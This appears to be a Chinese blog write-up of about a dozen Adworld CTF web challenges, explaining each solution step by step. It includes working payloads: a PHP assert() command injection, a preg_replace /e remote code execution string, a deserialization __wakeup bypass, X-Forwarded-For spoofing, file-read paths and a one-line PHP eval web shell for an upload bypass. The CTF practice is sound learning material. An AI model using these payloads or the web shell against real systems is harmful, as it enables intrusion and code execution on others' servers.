攻防世界-Web(进阶区)
source link: https://qwzf.github.io/2019/09/05/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8C-Web(%E8%BF%9B%E9%98%B6%E5%8C%BA)/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
又做了几道攻防世界的Web题,总结一下。
Web1:Cat
题目没提示。点开题目,以为是命令执行。然而几番尝试后,发现并不是。。。
?url=%80
产生报错,找到绝对路径。?url=@/opt/api/api/settings.py
?url=@/opt/api/database.sqlite3
,报错信息中搜索ctfWeb2:ics-06
?id=1
第一个想法便是SQL注入,结果失败了。偷瞄大佬博客,发现需要爆破。于是我爆破id值id=2333
时,返回长度不同,即可能返回了flag,查看得到flagWeb3:NewsCenter
emmm。题目报错。。等题目正常了再更新总结。
Web4:mfw
题目没提示,直接开始做题。先查看源码
GitHack.py
工具下载源码,并打开assert()函数
检查一个断言是否为 FALSE。bool assert ( mixed $assertion [, string $description ] )
如果 assertion 是字符串,它将会被 assert()
当做 PHP 代码来执行。
PHP 之 assert()函数strpos() 函数
查找字符串在另一字符串中第一次出现的位置。file_exists() 函数
检查文件或目录是否存在。
审计源码:
1、git传入page并赋值给$page
。$file
等于templates目录下的(page值).php
文件内容
2、如果strpos('$file', '..') === false
,$flie
会被 assert()
当做 PHP 代码来执行。
3、用file_exists() 函数
检查$file
文件是否存在。如果存在,返回文件内容。
然后就是拼接构造payload了(又偷瞄了大佬博客)
about.php', '123') === false and system('cat templates/flag.php') and strpos('templates/flag
最终,得到flag
Web5:NaNNaNNaNNaN-Batman
题目,没有提示,只有个文件,下载查看
eval() 函数:可计算某个字符串,并执行其中的的 JavaScript 代码。
alert() 函数:用于显示带有一条指定消息和一个 确定按钮的警告框。
修改整理如下:
function $(){
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);s[o%4].splice(0,1)
}
}
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete
js代码一般可以在浏览器控制台执行。加上<script></script>
标签也可以在html执行。控制台执行和html执行都是一个输入框。
方法一:审计代码,满足关键变量e的正则条件
e.length==16
e.match(/^be0f23/)!=null
e.match(/233ac/)!=null
e.match(/e98aa$/)!=null
e.match(/c7be9/)!=null
^
表示开头一定要匹配到be0f23,$
表示结尾一定要匹配到e98aa,其它的只要匹配到就行,没有位置要求
于是我们构造e的值:be0f233ac7be98aa
将构造的e输入到最初html执行的输入框中得到flag
方法二:直接将下面代码复制到控制台执行
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);s[o%4].splice(0,1)
}
Web6:upload
emmm。题目报错。。等题目正常了再更新总结。
Web7:PHP2
题目没有提示
不能。。御剑扫描无果,源码也无发现。url后加
index.php
也不对。。。看大佬wp,竟然是url后加
index.phps
。。。urldecode()函数
解码 URL 字符串函数。此函数用于解码给出的已编码字符串中的任何 %##以及中文等被编码的内容。 (加号(’+’)被解码成一个空格字符)。
该函数经常被使用于php解码URL中的中文字符串。
相关函数:urlencode()函数,编码URL字符串函数。
审计代码,get传入的id经过urldecode()函数解码,如果解码结果为admin
,输出“Access granted!”和Key值(即flag)。
尝试对d进行url编码,即传入?id=a%64min
,失败了。。。
于是再次分析代码,发现是经过两次urlencode()函数解码。难道再对%
编码?!%
编码结果%25,
传入?id=a%2564min
,得到flag
Web8:unserialize3
题目提示unserialize,即反序列化。总结过,所以直接做题
<?php
class xctf{
var $flag = '111';
}
$class1 = new xctf;
$class1_ser = serialize($class1);
print_r($class1_ser);
?>
查询百度发现,当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
payload
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
得到flag
Web9:ics-05
所以工控云管理系统设备维护中心存在后门。查看源码
php://filter
伪协议对index.php进行读取//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
代码审计一下:
get传入pat、rep、sub并分别赋值给变量$pattern
、$replacement
、 $subject
。如果设置了$pattern
、$replacement
、 $subject
,执行preg_replace($pattern, $replacement, $subject);
进行正则表达式的搜索和替换。
preg_replace( pattern , replacement , subject ) 函数
当pattern指明/e标志时 ,preg_replace()会将replacement部分的代码当作PHP代码执行 (简单的说就是将replacement参数值放入eval()结构中)
参考博客:深入研究PHP中的preg_replace和代码执行
构造payload寻找flag:
?pat=/test/e&rep=system('find / -iname flag')&sub=test
源码提示127.0.0.1,所以X-Forwarded-For进行欺骗,Forward发包
flag.php
内容。查看源码,得到flagWeb10:bug
题目没有提示。
打开题目,注册用户。进入到设置密码页面,修改密码,抓包
所以XFF(X-Forwarded-For)欺骗:
X-Forwarded-For: 127.0.0.1
do=upload
时,是文件上传页面。应该就是文件上传漏洞了1、写一个php文件,后缀改为
.jpg
,抓包改为.php
进行文件类型绕过,结果失败。2、
.php
改为.php3
、.php5
也是失败。3、又想到做i春秋Web题Upload时,用到
<script language="pHp">@eval($_POST['a'])</script>
于是尝试再尝试,发现后缀还要是.php3
或.php5
才能绕过
Web11:Triangle
还没搞懂,过段时间补上总结
Web12:web2
strrev()
:反转字符串。str_rot13()
:对字符串执行 ROT13 编码。base64_encode()
:对数据进行base64编码base64_decode()
:对数据进行base64解码审计php代码,写出PHP解密代码
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($miwen){
$_o=base64_decode(strrev(str_rot13($miwen)));//echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
return strrev($_);
}
echo decode($miwen);
?>
import base64
def python_decode(string):
zimu = "abcdefghijklmnopqrstuvwxyz"
rot_13 =""
for i in string:
if i.isdigit():
rot_13 += i
else:
try:
rot_13 += zimu[zimu.index(i)-13]
except:
rot_13 += zimu[zimu.index(i.lower())-13].upper()
fz = rot_13[::-1]
base = base64.b64decode(fz)
base = [chr(ord(i)-1) for i in base]
fz = base[::-1]
print "".join(fz)
python_decode("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws")
就先总结那么多吧,后边的题貌似很难。继续努力吧。。。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 [email protected]
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK